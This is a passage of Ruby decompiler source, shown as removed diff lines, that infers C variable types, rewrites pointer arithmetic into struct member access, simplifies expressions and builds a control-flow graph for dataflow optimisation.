ce.type = C::CExpression[ce.lexpr, ce.op, ce.rexpr].type - end - } - end - } - - propagate_type = nil # fwd declaration - propagating = [] # recursion guard (x = &x) - # check if need to change the type of a var - # propagate_type if type is updated - update_type = lambda { |n, t| - next if propagating.include? n - o = scope.symbol[n].stackoff - next if not o and t.untypedef.kind_of? C::Union - next if o and scope.decompdata[:stackoff_type][o] and t != scope.decompdata[:stackoff_type][o] - next if t0 = types[n] and not better_type[t, t0] - next if o and (t.integral? or t.pointer?) and o % sizeof(t) != 0 # keep vars aligned - types[n] = t - next if t == t0 - propagating << n - propagate_type[n, t] - propagating.delete n - next if not o - t = t.untypedef - if t.kind_of? C::Struct - t.members.to_a.each { |m| - mo = t.offsetof(@c_parser, m.name) - next if mo == 0 - scope.symbol.each { |vn, vv| - update_type[vn, m.type] if vv.stackoff == o+mo - } - } - end - } - - # try to update the type of a var from knowing the type of an expr (through dereferences etc) - known_type = lambda { |e, t| - loop do - e = e.rexpr while e.kind_of? C::CExpression and not e.op and e.type == t - if o = scopevar[e] - update_type[o, t] - elsif o = globalvar[e] - update_global_type[o, t] - elsif not e.kind_of? C::CExpression - elsif o = pscopevar[e] and t.pointer? - update_type[o, t.pointed] - elsif e.op == :* and not e.lexpr - e = e.rexpr - t = C::Pointer.new(t) - next - elsif t.pointer? and e.op == :+ and e.lexpr.kind_of? C::CExpression and e.lexpr.type.integral? and e.rexpr.kind_of? C::Variable - e.lexpr, e.rexpr = e.rexpr, e.lexpr - next - elsif e.op == :+ and e.lexpr and e.rexpr.kind_of? C::CExpression - if not e.rexpr.op and e.rexpr.rexpr.kind_of? ::Integer - if t.pointer? and e.rexpr.rexpr < 0x1000 and (e.rexpr.rexpr % sizeof(t.pointed)) == 0 # XXX relocatable + base=0.. - e = e.lexpr # (int)*(x+2) === (int) *x - next - elsif globalvar[e.rexpr.rexpr] - known_type[e.lexpr, C::BaseType.new(:int)] - e = e.rexpr - next - end - elsif t.pointer? and (e.lexpr.kind_of? C::CExpression and e.lexpr.lexpr and [:<<, :>>, :*, :&].include? e.lexpr.op) or - (o = scopevar[e.lexpr] and types[o] and types[o].integral? and - !(o = scopevar[e.rexpr] and types[o] and types[o].integral?)) - e.lexpr, e.rexpr = e.rexpr, e.lexpr # swap - e = e.lexpr - next - elsif t.pointer? and ((e.rexpr.kind_of? C::CExpression and e.rexpr.lexpr and [:<<, :>>, :*, :&].include? e.rexpr.op) or - (o = scopevar[e.rexpr] and types[o] and types[o].integral? and - !(o = scopevar[e.lexpr] and types[o] and types[o].integral?))) - e = e.lexpr - next - end - end - break - end - } - - # we found a type for a var, propagate it through affectations - propagate_type = lambda { |var, type| - walk_ce(scope) { |ce| - next if ce.op != :'=' - - if ce.lexpr.kind_of? C::Variable and ce.lexpr.name == var - known_type[ce.rexpr, type] - next - end - if ce.rexpr.kind_of? C::Variable and ce.rexpr.name == var - known_type[ce.lexpr, type] - next - end - - # int **x; y = **x => int y - t = type - l = ce.lexpr - while l.kind_of? C::CExpression and l.op == :* and not l.lexpr - if var == pscopevar[l.rexpr] - known_type[ce.rexpr, t] - break - elsif t.pointer? - l = l.rexpr - t = t.pointed - else break - end - end - - # int **x; **x = y => int y - t = type - r = ce.rexpr - while r.kind_of? C::CExpression and r.op == :* and not r.lexpr - if var == pscopevar[r.rexpr] - known_type[ce.lexpr, t] - break - elsif t.pointer? - r = r.rexpr - t = t.pointed - else break - end - end - - # TODO int *x; *x = *y; ? - } - } - - # put all those macros in use - # use user-defined types first - scope.symbol.each_value { |v| - next if not v.kind_of? C::Variable or not v.stackoff or not t = scope.decompdata[:stackoff_type][v.stackoff] - known_type[v, t] - } - - # try to infer types from C semantics - later = [] - walk_ce(scope) { |ce| - if ce.op == :'=' and ce.rexpr.kind_of? C::CExpression and (ce.rexpr.op == :funcall or (ce.rexpr.op == nil and ce.rexpr.rexpr.kind_of? ::Integer and - ce.rexpr.rexpr.abs < 0x10000 and (not ce.lexpr.kind_of? C::CExpression or ce.lexpr.op != :'*' or ce.lexpr.lexpr))) - # var = int - known_type[ce.lexpr, ce.rexpr.type] - elsif ce.op == :funcall - f = ce.lexpr.type - f = f.pointed if f.pointer? - next if not f.kind_of? C::Function - # cast func args to arg prototypes - f.args.to_a.zip(ce.rexpr).each_with_index { |(proto, arg), i| ce.rexpr[i] = C::CExpression[arg, proto.type] ; known_type[arg, proto.type] } - elsif ce.op == :* and not ce.lexpr - if e = ce.rexpr and e.kind_of? C::CExpression and not e.op and e = e.rexpr and e.kind_of? C::CExpression and - e.op == :& and not e.lexpr and e.rexpr.kind_of? C::Variable and e.rexpr.stackoff - # skip *(__int32*)&var_12 for now, avoid saying var12 is an int if it may be a ptr or anything - later << [ce.rexpr, C::Pointer.new(ce.type)] - next - end - known_type[ce.rexpr, C::Pointer.new(ce.type)] - elsif not ce.op and ce.type.pointer? and ce.type.pointed.kind_of? C::Function - # cast to fptr: must be a fptr - known_type[ce.rexpr, ce.type] - end - } - - later.each { |ce, t| known_type[ce, t] } - - # offsets have types now - types.each { |v, t| - # keep var type qualifiers - q = scope.symbol[v].type.qualifier - scope.symbol[v].type = t - t.qualifier = q if q - } - - - # remove offsets to struct members - # XXX this defeats antialiasing - # off => [structoff, membername, membertype] - memb = {} - types.dup.each { |n, t| - v = scope.symbol[n] - next if not o = v.stackoff - t = t.untypedef - if t.kind_of? C::Struct - t.members.to_a.each { |tm| - moff = t.offsetof(@c_parser, tm.name) - next if moff == 0 - types.delete_if { |vv, tt| scope.symbol[vv].stackoff == o+moff } - memb[o+moff] = [v, tm.name, tm.type] - } - end - } - - # patch local variables into the CExprs, incl unknown offsets - varat = lambda { |n| - v = scope.symbol[n] - if s = memb[v.stackoff] - v = C::CExpression[s[0], :'.', s[1], s[2]] - else - v.type = types[n] || C::BaseType.new(:int) - end - v - } - - maycast = lambda { |v, e| - if sizeof(v) != sizeof(e) - v = C::CExpression[:*, [[:&, v], C::Pointer.new(e.type)]] - end - v - } - maycast_p = lambda { |v, e| - if not e.type.pointer? or sizeof(v) != sizeof(nil, e.type.pointed) - C::CExpression[[:&, v], e.type] - else - C::CExpression[:&, v] - end - } - - walk_ce(scope, true) { |ce| - case - when ce.op == :funcall - ce.rexpr.map! { |re| - if o = scopevar[re]; C::CExpression[maycast[varat[o], re]] - elsif o = pscopevar[re]; C::CExpression[maycast_p[varat[o], re]] - else re - end - } - when o = scopevar[ce.lexpr]; ce.lexpr = maycast[varat[o], ce.lexpr] - when o = scopevar[ce.rexpr]; ce.rexpr = maycast[varat[o], ce.rexpr] - ce.rexpr = C::CExpression[ce.rexpr] if not ce.op and ce.rexpr.kind_of? C::Variable - when o = pscopevar[ce.lexpr]; ce.lexpr = maycast_p[varat[o], ce.lexpr] - when o = pscopevar[ce.rexpr]; ce.rexpr = maycast_p[varat[o], ce.rexpr] - when o = scopevar[ce]; ce.replace C::CExpression[maycast[varat[o], ce]] - when o = pscopevar[ce]; ce.replace C::CExpression[maycast_p[varat[o], ce]] - end - } - - fix_type_overlap(scope) - fix_pointer_arithmetic(scope) - - # if int32 var_4 is always var_4 & 255, change type to int8 - varuse = Hash.new(0) - varandff = Hash.new(0) - varandffff = Hash.new(0) - walk_ce(scope) { |ce| - if ce.op == :& and ce.lexpr.kind_of? C::Variable and ce.lexpr.type.integral? and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer - case ce.rexpr.rexpr - when 0xff; varandff[ce.lexpr.name] += 1 - when 0xffff; varandffff[ce.lexpr.name] += 1 - end - end - varuse[ce.lexpr.name] += 1 if ce.lexpr.kind_of? C::Variable - varuse[ce.rexpr.name] += 1 if ce.rexpr.kind_of? C::Variable - } - varandff.each { |k, v| - scope.symbol[k].type = C::BaseType.new(:__int8, :unsigned) if varuse[k] == v - } - varandffff.each { |k, v| - scope.symbol[k].type = C::BaseType.new(:__int16, :unsigned) if varuse[k] == v - } - - # propagate types to cexprs - walk_ce(scope, true) { |ce| - if ce.op - ce.type = C::CExpression[ce.lexpr, ce.op, ce.rexpr].type rescue next - if ce.op == :'=' and ce.rexpr.kind_of? C::Typed and ce.rexpr.type != ce.type and (not ce.rexpr.type.integral? or not ce.type.integral?) - known_type[ce.rexpr, ce.type] if ce.type.pointer? and ce.type.pointed.untypedef.kind_of? C::Function # localvar = &struct with fptr - ce.rexpr = C::CExpression[[ce.rexpr], ce.type] - end - elsif ce.type.pointer? and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :& and not ce.rexpr.lexpr and sizeof(ce.rexpr.rexpr.type) == sizeof(ce.type.pointed) - ce.type = ce.rexpr.type - end - } - end - - # struct foo { int i; int j; struct { int k; int l; } m; }; bla+12 => &bla->m.l - # st is a struct, ptr is an expr pointing to a struct, off is a numeric offset from ptr, msz is the size of the pointed member (nil ignored) - def structoffset(st, ptr, off, msz) - tabidx = off / sizeof(st) - off -= tabidx * sizeof(st) - ptr = C::CExpression[:&, [ptr, :'[]', [tabidx]]] if tabidx != 0 or ptr.type.untypedef.kind_of? C::Array - return ptr if off == 0 and (not msz or # avoid infinite recursion with eg chained list - (ptr.kind_of? C::CExpression and ((ptr.op == :& and not ptr.lexpr and s=ptr.rexpr) or (ptr.op == :'.' and s=ptr)) and - not s.type.untypedef.kind_of? C::Union)) - - m_ptr = lambda { |m| - if ptr.kind_of? C::CExpression and ptr.op == :& and not ptr.lexpr - C::CExpression[ptr.rexpr, :'.', m.name] - else - C::CExpression[ptr, :'->', m.name] - end - } - - # recursive proc to list all named members, including in anonymous substructs - submemb = lambda { |sm| sm.name ? sm : sm.type.kind_of?(C::Union) ? sm.type.members.to_a.map { |ssm| submemb[ssm] } : nil } - mbs = st.members.to_a.map { |m| submemb[m] }.flatten.compact - mo = mbs.inject({}) { |h, m| h.update m => st.offsetof(@c_parser, m.name) } - - if sm = mbs.find { |m| mo[m] == off and (not msz or sizeof(m) == msz) } || - mbs.find { |m| mo[m] <= off and mo[m]+sizeof(m) > off } - off -= mo[sm] - sst = sm.type.untypedef - #return ptr if mo[sm] == 0 and sst.pointer? and sst.type.untypedef == st # TODO fix infinite recursion on mutually recursive ptrs - ptr = C::CExpression[:&, m_ptr[sm]] - if sst.kind_of? C::Union - return structoffset(sst, ptr, off, msz) - end - end - - if off != 0 - C::CExpression[[[ptr], C::Pointer.new(C::BaseType.new(:__int8))], :+, [off]] - else - ptr - end - end - - # fix pointer arithmetic (eg int foo += 4 => int* foo += 1) - # use struct member access (eg *(structptr+8) => structptr->bla) - # must be run only once, right after type setting - def fix_pointer_arithmetic(scope) - walk_ce(scope, true) { |ce| - if ce.lexpr and ce.lexpr.type.pointer? and [:&, :>>, :<<].include? ce.op - ce.lexpr = C::CExpression[[ce.lexpr], C::BaseType.new(:int)] - end - - if ce.op == :+ and ce.lexpr and ((ce.lexpr.type.integral? and ce.rexpr.type.pointer?) or (ce.rexpr.type.pointer? and ce.rexpr.type.pointed.untypedef.kind_of? C::Union)) - ce.rexpr, ce.lexpr = ce.lexpr, ce.rexpr - end - - if ce.op == :* and not ce.lexpr and ce.rexpr.type.pointer? and ce.rexpr.type.pointed.untypedef.kind_of? C::Struct - s = ce.rexpr.type.pointed.untypedef - m = s.members.to_a.find { |m_| s.offsetof(@c_parser, m_.name) == 0 } - if sizeof(m) != sizeof(ce) - ce.rexpr = C::CExpression[[ce.rexpr, C::Pointer.new(s)], C::Pointer.new(ce.type)] - next - end - # *structptr => structptr->member - ce.lexpr = ce.rexpr - ce.op = :'->' - ce.rexpr = m.name - ce.type = m.type - next - elsif ce.op == :'=' and ce.lexpr.type.untypedef.kind_of? C::Struct - s = ce.lexpr.type.untypedef - m = s.members.to_a.find { |m_| s.offsetof(@c_parser, m_.name) == 0 } - ce.lexpr = C::CExpression.new(ce.lexpr, :'.', m.name, m.type) - ce.type = m.type - next - end - - if ce.op == :+ and ce.lexpr and ce.lexpr.type.pointer? and not ce.type.pointer? - ce.type = ce.lexpr.type - end - - if ce.op == :& and not ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :* and not ce.rexpr.lexpr - ce.replace C::CExpression[ce.rexpr.rexpr] - end - - next if not ce.lexpr or not ce.lexpr.type.pointer? - if ce.op == :+ and (s = ce.lexpr.type.pointed.untypedef).kind_of? C::Union and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and - ce.rexpr.rexpr.kind_of? ::Integer and o = ce.rexpr.rexpr - # structptr + 4 => &structptr->member - ce.replace structoffset(s, ce.lexpr, o, nil) - elsif [:+, :-, :'+=', :'-='].include? ce.op and ce.rexpr.kind_of? C::CExpression and ((not ce.rexpr.op and i = ce.rexpr.rexpr) or - (ce.rexpr.op == :* and i = ce.rexpr.lexpr and ((i.kind_of? C::CExpression and not i.op and i = i.rexpr) or true))) and - i.kind_of? ::Integer and psz = sizeof(nil, ce.lexpr.type.pointed) and i % psz == 0 - # ptr += 4 => ptr += 1 - if not ce.rexpr.op - ce.rexpr.rexpr /= psz - else - ce.rexpr.lexpr.rexpr /= psz - if ce.rexpr.lexpr.rexpr == 1 - ce.rexpr = ce.rexpr.rexpr - end - end - ce.type = ce.lexpr.type - - elsif (ce.op == :+ or ce.op == :-) and sizeof(nil, ce.lexpr.type.pointed) != 1 - # ptr+x => (ptrtype*)(((__int8*)ptr)+x) - # XXX create struct ? - ce.rexpr = C::CExpression[ce.rexpr, C::BaseType.new(:int)] if not ce.rexpr.type.integral? - if sizeof(nil, ce.lexpr.type.pointed) != 1 - ptype = ce.lexpr.type - p = C::CExpression[[ce.lexpr], C::Pointer.new(C::BaseType.new(:__int8))] - ce.replace C::CExpression[[p, ce.op, ce.rexpr, p.type], ptype] - end - end - } - end - - # handling of var overlapping (eg __int32 var_10; __int8 var_F => replace all var_F by *(&var_10 + 1)) - # must be done before fix_pointer_arithmetic - def fix_type_overlap(scope) - varinfo = {} - scope.symbol.each_value { |var| - next if not off = var.stackoff - len = sizeof(var) - varinfo[var] = [off, len] - } - - varinfo.each { |v1, (o1, l1)| - next if not v1.type.integral? - varinfo.each { |v2, (o2, l2)| - # XXX o1 may overlap o2 AND another (int32 v_10; int32 v_E; int32 v_C;) - # TODO should check stuff with aliasing domains - next if v1.name == v2.name or o1 >= o2+l2 or o1+l1 <= o2 or l1 > l2 or (l2 == l1 and o2 >= o1) - # v1 => *(&v2+delta) - p = C::CExpression[:&, v2] - p = C::CExpression[p, :+, [o1-o2]] - p = C::CExpression[p, C::Pointer.new(v1.type)] if v1.type != p.type.type - p = C::CExpression[:*, p] - walk_ce(scope) { |ce| - ce.lexpr = p if ce.lexpr == v1 - ce.rexpr = p if ce.rexpr == v1 - } - } - } - end - - # to be run with scope = function body with only CExpr/Decl/Label/Goto/IfGoto/Return, with correct variables types - # will transform += 1 to ++, inline them to prev/next statement ('++x; if (x)..' => 'if (++x)..') - # remove useless variables ('int i;', i never used or 'i = 1; j = i;', i never read after => 'j = 1;') - # remove useless casts ('(int)i' with 'int i;' => 'i') - def optimize(scope) - optimize_code(scope) - optimize_vars(scope) - optimize_vars(scope) # 1st run may transform i = i+1 into i++ which second run may coalesce into if(i) - end - - # simplify cexpressions (char & 255, redundant casts, etc) - def optimize_code(scope) - return if forbid_optimize_code - - sametype = lambda { |t1, t2| - t1 = t1.untypedef - t2 = t2.untypedef - t1 = t1.pointed.untypedef if t1.pointer? and t1.pointed.untypedef.kind_of? C::Function - t2 = t2.pointed.untypedef if t2.pointer? and t2.pointed.untypedef.kind_of? C::Function - t1 == t2 or - (t1.kind_of? C::Function and t2.kind_of? C::Function and sametype[t1.type, t2.type] and t1.args.to_a.length == t2.args.to_a.length and - t1.args.to_a.zip(t2.args.to_a).all? { |st1, st2| sametype[st1.type, st2.type] }) or - (t1.kind_of? C::BaseType and t1.integral? and t2.kind_of? C::BaseType and t2.integral? and sizeof(nil, t1) == sizeof(nil, t2)) or - (t1.pointer? and t2.pointer? and sametype[t1.type, t2.type]) - } - - # most of this is a CExpr#reduce - future_array = [] - walk_ce(scope, true) { |ce| - # (whatever)0 => 0 - if not ce.op and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 - ce.replace ce.rexpr - end - - # *&bla => bla if types ok - if ce.op == :* and not ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :& and not ce.rexpr.lexpr and sametype[ce.rexpr.type.pointed, ce.rexpr.rexpr.type] - ce.replace C::CExpression[ce.rexpr.rexpr] - end - - # int x + 0xffffffff -> x-1 - if ce.lexpr and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and [:+, :-, :'+=', :'-=', :'!=', :==, :>, :<, :>=, :<=].include? ce.op and - ce.rexpr.rexpr == (1 << (8*sizeof(ce.lexpr)))-1 - ce.op = {:+ => :-, :- => :+, :'+=' => :'-=', :'-=' => :'+='}[ce.op] - ce.rexpr.rexpr = 1 - end - - # int *ptr; *(ptr + 4) => ptr[4] - if ce.op == :* and not ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :+ and var = ce.rexpr.lexpr and var.kind_of? C::Variable and var.type.pointer? - ce.lexpr, ce.op, ce.rexpr = ce.rexpr.lexpr, :'[]', ce.rexpr.rexpr - future_array << var.name - end - - # char x; x & 255 => x - if ce.op == :& and ce.lexpr and (ce.lexpr.type.integral? or ce.lexpr.type.pointer?) and ce.rexpr.kind_of? C::CExpression and - not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer and m = (1 << (8*sizeof(ce.lexpr))) - 1 and - ce.rexpr.rexpr & m == m - ce.replace C::CExpression[ce.lexpr] - end - - # a + -b => a - b - if ce.op == :+ and ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :- and not ce.rexpr.lexpr - ce.op, ce.rexpr = :-, ce.rexpr.rexpr - end - - # (((int) i >> 31) & 1) => i < 0 - if ce.op == :& and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 1 and - ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :>> and ce.lexpr.rexpr.kind_of? C::CExpression and - not ce.lexpr.rexpr.op and ce.lexpr.rexpr.rexpr == sizeof(ce.lexpr.lexpr) * 8 - 1 - ce.replace C::CExpression[ce.lexpr.lexpr, :<, [0]] - end - - # a-b == 0 => a == b - if ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 and [:==, :'!=', :<, :>, :<=, :>=].include? ce.op and - ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :- and ce.lexpr.lexpr - ce.lexpr, ce.rexpr = ce.lexpr.lexpr, ce.lexpr.rexpr - end - - # (a > 0) != 0 - if ce.op == :'!=' and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 and ce.lexpr.kind_of? C::CExpression and - [:<, :<=, :>, :>=, :'==', :'!=', :'!'].include? ce.lexpr.op - ce.replace ce.lexpr - end - - # (a < b) != ( [(a < 0) == !(b < 0)] && [(a < 0) != (a < b)] ) => jl - # a true if !r => a<0 == b<0 or a>=0 => a>=0 or b>=0 - # a>=b => true if r => a<0 == b>=0 and a<0 => a<0 and b>=0 - - # x != (a && (b != x)) => [x && (!a || b)] || [!x && !(!a || b)] - if ce.op == :'!=' and ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :< and ce.rexpr.kind_of? C::CExpression and - ce.rexpr.op == :'&&' and ce.rexpr.rexpr.kind_of? C::CExpression and ce.rexpr.rexpr.op == :'!=' and - ce.rexpr.rexpr.rexpr == ce.lexpr and not walk_ce(ce) { |ce_| break true if ce_.op == :funcall } - x, a, b = ce.lexpr, ce.rexpr.lexpr, ce.rexpr.rexpr.lexpr - ce.replace C::CExpression[ [x, :'&&', [[:'!',a],:'||',b]] , :'||', [[:'!', x], :'&&', [:'!', [[:'!',a],:'||',b]]] ] - optimize_code(ce) - end - # (a != b) || a => a || b - if ce.op == :'||' and ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :'!=' and ce.lexpr.lexpr == ce.rexpr and not walk_ce(ce) { |ce_| break true if ce_.op == :funcall } - ce.lexpr, ce.rexpr = ce.rexpr, ce.lexpr.rexpr - optimize_code(ce) - end - # (a=0 && b<0) || (a>=b) && (a>=0 && b<0) => (signed)a < (signed)b - if ce.op == :'||' and ce.lexpr.kind_of? C::CExpression and ce.rexpr.kind_of? C::CExpression and ce.lexpr.op == :'&&' and ce.rexpr.op == :'&&' and - ce.lexpr.lexpr.kind_of? C::CExpression and ce.lexpr.lexpr.op == :< - a, b = ce.lexpr.lexpr.lexpr, ce.lexpr.lexpr.rexpr - if ce.lexpr.rexpr === C::CExpression[[a, :'>=', [0]], :'&&', [b, :'<', [0]]].negate and - ce.rexpr.lexpr === ce.lexpr.lexpr.negate and ce.rexpr.rexpr === ce.lexpr.rexpr.negate - ce.replace C::CExpression[a, :'<', b] - end - end - # a && 1 - if (ce.op == :'||' or ce.op == :'&&') and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer - if ((ce.op == :'||' and ce.rexpr.rexpr == 0) or (ce.op == :'&&' and ce.rexpr.rexpr != 0)) - ce.replace C::CExpression[ce.lexpr] - elsif not walk_ce(ce) { |ce_| break true if ce.op == :funcall } # cannot wipe if sideeffect - ce.replace C::CExpression[[ce.op == :'||' ? 1 : 0]] - end - end - # (b < c || b >= c) - if (ce.op == :'||' or ce.op == :'&&') and C::CExpression.negate(ce.lexpr) == C::CExpression[ce.rexpr] - ce.replace C::CExpression[[(ce.op == :'||') ? 1 : 0]] - end - - # (a < b) | (a == b) => a <= b - if ce.op == :| and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :== and ce.lexpr.kind_of? C::CExpression and - (ce.lexpr.op == :< or ce.lexpr.op == :>) and ce.lexpr.lexpr == ce.rexpr.lexpr and ce.lexpr.rexpr == ce.rexpr.rexpr - ce.op = {:< => :<=, :> => :>=}[ce.lexpr.op] - ce.lexpr, ce.rexpr = ce.lexpr.lexpr, ce.lexpr.rexpr - end - - # a == 0 => !a - if ce.op == :== and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr == 0 - ce.lexpr, ce.op, ce.rexpr = nil, :'!', ce.lexpr - end - - if ce.op == :'!' and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? ::Integer - ce.replace C::CExpression[[ce.rexpr.rexpr == 0 ? 1 : 0]] - end - - # !(bool) => bool - if ce.op == :'!' and ce.rexpr.kind_of? C::CExpression and [:'==', :'!=', :<, :>, :<=, :>=, :'||', :'&&', :'!'].include? ce.rexpr.op - ce.replace ce.rexpr.negate - end - - # (foo)(bar)x => (foo)x - if not ce.op and ce.rexpr.kind_of? C::CExpression and not ce.rexpr.op and ce.rexpr.rexpr.kind_of? C::CExpression - ce.rexpr = ce.rexpr.rexpr - end - - # &struct.1stmember => &struct - if ce.op == :& and not ce.lexpr and ce.rexpr.kind_of? C::CExpression and ce.rexpr.op == :'.' and s = ce.rexpr.lexpr.type and - s.kind_of? C::Union and s.offsetof(@c_parser, ce.rexpr.rexpr) == 0 - ce.rexpr = ce.rexpr.lexpr - ce.type = C::Pointer.new(ce.rexpr.type) - end - - # (1stmember*)structptr => &structptr->1stmember - if not ce.op and ce.type.pointer? and not ce.type.pointed.void? and ce.rexpr.kind_of? C::Typed and ce.rexpr.type.pointer? and - s = ce.rexpr.type.pointed.untypedef and s.kind_of? C::Union and ce.type.pointed.untypedef != s - ce.rexpr = C::CExpression[structoffset(s, ce.rexpr, 0, sizeof(ce.type.pointed))] - #ce.replace ce.rexpr if not ce.type.pointed.untypedef.kind_of? C::Function or (ce.rexpr.type.pointer? and - #ce.rexpr.type.pointed.untypedef.kind_of? C::Function) # XXX ugly - # int32* v1 = (int32*)pstruct; - # z = v1+4 if v1 is not cast, the + is invalid (sizeof pointed changes) - # TODO when finding type of pstruct, set type of v1 accordingly - end - - # (&foo)->bar => foo.bar - if ce.op == :'->' and ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :& and not ce.lexpr.lexpr - ce.lexpr = ce.lexpr.rexpr - ce.op = :'.' - end - - # (foo)bla => bla if bla of type foo - if not ce.op and ce.rexpr.kind_of? C::Typed and sametype[ce.type, ce.rexpr.type] - ce.replace C::CExpression[ce.rexpr] - end - if ce.lexpr.kind_of? C::CExpression and not ce.lexpr.op and ce.lexpr.rexpr.kind_of? C::Variable and ce.lexpr.type == ce.lexpr.rexpr.type - ce.lexpr = ce.lexpr.rexpr - end - - if ce.op == :'=' and ce.lexpr.kind_of? C::CExpression and ce.lexpr.op == :* and not ce.lexpr.lexpr and ce.lexpr.rexpr.kind_of? C::CExpression and - not ce.lexpr.rexpr.op and ce.lexpr.rexpr.type.pointer? and ce.lexpr.rexpr.type.pointed != ce.rexpr.type - ce.lexpr.rexpr.type = C::Pointer.new(ce.rexpr.type) - optimize_code(ce.lexpr) - end - } - - # if there is a ptr[4], change all *ptr to ptr[0] for consistency - # do this after the first pass, which may change &*ptr to ptr - walk_ce(scope) { |ce| - if ce.op == :* and not ce.lexpr and ce.rexpr.kind_of? C::Variable and future_array.include? ce.rexpr.name - ce.lexpr, ce.op, ce.rexpr = ce.rexpr, :'[]', C::CExpression[0] - end - } if not future_array.empty? - - # if (x != 0) => if (x) - walk(scope) { |st| - if st.kind_of? C::If and st.test.kind_of? C::CExpression and st.test.op == :'!=' and - st.test.rexpr.kind_of? C::CExpression and not st.test.rexpr.op and st.test.rexpr.rexpr == 0 - st.test = C::CExpression[st.test.lexpr] - end - } - end - - # checks if an expr has sideeffects (funcall, var assignment, mem dereference, use var out of scope if specified) - def sideeffect(exp, scope=nil) - case exp - when nil, ::Numeric, ::String; false - when ::Array; exp.any? { |_e| sideeffect _e, scope } - when C::Variable; (scope and not scope.symbol[exp.name]) or exp.type.qualifier.to_a.include? :volatile - when C::CExpression; (exp.op == :* and not exp.lexpr) or exp.op == :funcall or AssignOp.include?(exp.op) or - sideeffect(exp.lexpr, scope) or sideeffect(exp.rexpr, scope) - else true # failsafe - end - end - - # converts C code to a graph of cexprs (nodes = cexprs, edges = codepaths) - # returns a CGraph - class CGraph - # exprs: label => [exprs], to: label => [labels], block: label => are exprs standalone (vs If#test), start: 1st label - attr_accessor :exprs, :to, :block, :start, :to_optim, :from_optim - end - def c_to_graph(st) - g = CGraph.new - g.exprs = {} # label => [exprs] - g.to = {} # label => [labels] - g.block = {} # label => is label in a block? (vs If#test) - anon_label = 0 # when no label is there, use anon_label++ - # converts C code to a graph of codepath of cexprs - to_graph = lambda { |stmt, l_cur, l_after, l_cont, l_break| - case stmt - when C::Label; g.to[l_cur] = [stmt.name] ; g.to[stmt.name] = [l_after] - when C::Goto; g.to[l_cur] = [stmt.target] - when C::Continue; g.to[l_cur] = [l_cont] - when C::Break; g.to[l_cur] = [l_break] - when C::CExpression - g.exprs[l_cur] = [stmt] - g.to[l_cur] = [l_after] - when C::Return - g.exprs[l_cur] = [stmt.value] if stmt.value - g.to[l_cur] = [] - when C::Block - to_graph[stmt.statements, l_cur, l_after, l_cont, l_break] - when ::Array - g.exprs[l_cur] = [] - g.block[l_cur] = true - stmt.each_with_index { |s, i| - case s - when C::Declaration - when C::CExpression - g.exprs[l_cur] << s - else - l = anon_label += 1 - ll = anon_label += 1 - g.to[l_cur] = [l] - g.block[l_cur] = true - to_graph[stmt[i], l, ll, l_cont, l_break] - l_cur = ll - g.exprs[l_cur] = [] - end - } - g.to[l_cur] = [l_after].compact - when C::If - g.exprs[l_cur] = [stmt.test] - lt = anon_label += 1 - to_graph[stmt.bthen, lt, l_after, l_cont, l_break] - le = anon_label += 1 - to_graph[stmt.belse, le, l_after, l_cont, l_break] - g.to[l_cur] = [lt, le] - when C::While, C::DoWhile - la = anon_label += 1 - if stmt.kind_of? C::DoWhile - lt, lb = la, l_cur - else - lt, lb = l_cur, la - end - g.exprs[lt] = [stmt.test] - g.to[lt] = [lb, l_after] - to_graph[stmt.body, lb, lt, lt, l_after] - when C::Asm, nil; g.to[l_cur] = [l_after] - else puts "to_graph unhandled #{stmt.class}: #{stmt}" if $VERBOSE - end - } - - g.start = anon_label - to_graph[st, g.start, nil, nil, nil] - - # optimize graph - g.to_optim = {} - g.to.each { |k, v| g.to_optim[k] = v.uniq } - g.exprs.delete_if { |k, v| v == [] } - g.to_optim.delete_if { |k, v| - if v.length == 1 and not g.exprs[k] and v != [k] - g.to_optim.each_value { |t| if i = t.index(k) ; t[i] = v.first ; end } - true - elsif v.length == 0 and not g.exprs[k] - g.to_optim.each_value { |t| t.delete k } - true - end - } - - g.from_optim = {} - g.to_optim.each { |k, v| v.each { |t| (g.from_optim[t] ||= []) << k } } - - g - end - - # dataflow optimization - # condenses expressions (++x; if (x) => if (++x)) - # remove local var assignment (x = 1; f(x); x = 2; g(x); => f(1); g(2); etc) - def optimize_vars(scope) - return if forbid_optimize_dataflow - - g = c_to_graph(scope) - - # walks a cexpr in evaluation order (not strictly, but this is not strictly defined anyway..) - # returns the first subexpr to read var in ce - # returns :write if var is rewritten - # returns nil if var not read - # may return a cexpr var += 2 - find_next_read_ce = lambda { |ce_, var| - walk_ce(ce_, true) { |ce| - case ce.op - when :funcall - break ce if ce.lexpr == var or ce.rexpr.find { |a| a == var } - when :'=' - # a=a / a=a+1 => yield a, not :write - break ce if ce.rexpr == var - break :write if ce.lexpr == var - else - break ce if ce.lexpr == var or ce.rexpr == var - end - } - } - - # badlabels is a list of labels that may be reached without passing through the first invocation block - find_next_read_rec = lambda { |label, idx, var, done, badlabels| - next if done.include? label - done << label if idx == 0 - - idx += 1 while ce = g.exprs[label].to_a[idx] and not ret = 